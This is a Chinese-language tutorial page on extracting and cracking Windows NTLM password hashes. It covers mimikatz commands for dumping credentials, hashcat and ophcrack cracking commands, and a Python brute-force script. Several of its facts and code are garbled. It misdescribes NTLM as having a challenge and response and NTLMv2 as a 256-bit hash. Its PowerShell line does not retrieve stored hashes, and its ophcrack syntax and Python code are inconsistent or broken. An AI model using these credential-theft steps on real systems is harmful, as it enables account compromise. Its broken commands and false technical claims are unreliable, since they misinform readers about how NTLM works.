您的位置:

如何解密NTLM hash值?

一、了解NTLM hash值的概念

NTLM hash值是Windows平台上使用的一种密码加密方式,包括两个部分:一个是挑战(challenge),另一个是响应(response)。密码的明文不会明文传输,而是通过哈希算法生成一个128位或NTLMv2则是256位的哈希值,即摘要(digest),再与挑战结合后,作为响应值发送给服务器做比对。

二、如何获取NTLM hash值

获取NTLM hash值需要具备管理员权限或者本机具备缓存的用户的口令哈希,未设置缓存的用户则无法获取到。有以下两种方式获取:

1、使用工具如mimikatz、Cain等,这些工具具有提取缓存口令哈希的功能,一般用于安全渗透测试;

// 使用mimikatz提取hash值

privilege::debug
lsadump::lsa /inject /name:{username}

2、通过域控制器获取,在域控下查询口令哈希,可以使用PowerShell命令或直接在域控制器中运行dsusers.py等脚本。

// 使用PowerShell命令获取hash值

Get-ADUser -Filter * -Properties * | select-object Name,PasswordLastSet,PasswordNeverExpires,@{n="PasswordAge"; e={New-TimeSpan -Start $_.PasswordLastSet}},@{n="UserStatus";e={if($_.Enabled -eq $False){"Disabled"}else{"Enabled"}}},@{n="LastLogonAge";e={if($_.LastLogonDate){New-TimeSpan -Start $_.LastLogonDate}else{"Never"}}},@{n="SID";e={$_.SID.value}},@{n="Hash";e={(([System.Text.Encoding]::Unicode.GetBytes($($_.samaccountname + ":" + 'SecretP@ssword!'))) | ([System.Security.Cryptography.HashAlgorithm]::Create($hash_type).ComputeHash($_)))}}

三、Cracking NTLM hash

Cracking NTLM hash的过程就是利用已知的口令哈希值,尝试匹配出正确的明文密码。这个过程一般需要使用专用的工具,如hashcat、John the Ripper、RainbowCrack等,这些工具会利用诸如字典攻击、蛮力攻击、规则生成等算法,对口令哈希值进行不断地尝试,直到匹配出正确的明文密码。下面是一个用hashcat进行字典攻击的例子:

// 使用hashcat进行字典攻击

hashcat -m 1000 -a 0 ntlm_hash.txt rockyou.txt

四、使用彩虹表攻击NTLM hash

与普通的破解工具不同,彩虹表是一种基于预先计算出的密码与哈希值的对应表,一般以特定的哈希算法类型、字符类型和长度为输入,生成包含大量密码与哈希值对应关系的表。这种方法缺点是需要大量的计算和存储成本,优点是速度很快,尤其是对于较短的密码而言,一些现成的彩虹表工具WebCrack、Ophcrack、RainbowCrack等均可使用。

// 使用Ophcrack进行彩虹表攻击

sudo ophcrack-cli tables:all --lm rainbow_tables --pwd-max-len 8 ntlm_hash.txt

五、采用暴力破解NTLM hash

暴力破解是指对于一个口令哈希值,逐个尝试每种可能的明文进行匹配。这种方法速度最慢、计算量最大,但是可以匹配出任何密码。对于较长的密码,其匹配时间可以达到无限长,故较多的情况下不被采用。以下是一个使用Python进行暴力破解NTLM hash的例子:

import hashlib
import string
import itertools
 
# 输入的ntlm hash值
ntlm_hash = raw_input("Enter the NTLM hash: ")
 
# 生成字符集:小写字母、大写字母和数字
character_set = string.ascii_lowercase + string.ascii_uppercase + string.digits
 
# 尝试的密码长度
password_length = 6
 
# 用于生成密码组合的函数
def generate_combinations(password_length, character_set):
    for item in itertools.product(character_set, repeat=password_length):
        yield ''.join(item)
 
# 循环尝试每个密码进行匹配
for password in generate_combinations(password_length, character_set):
    ntlm = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
    if ntlm == ntlm_hash:
        print("Password is: " + password)
        break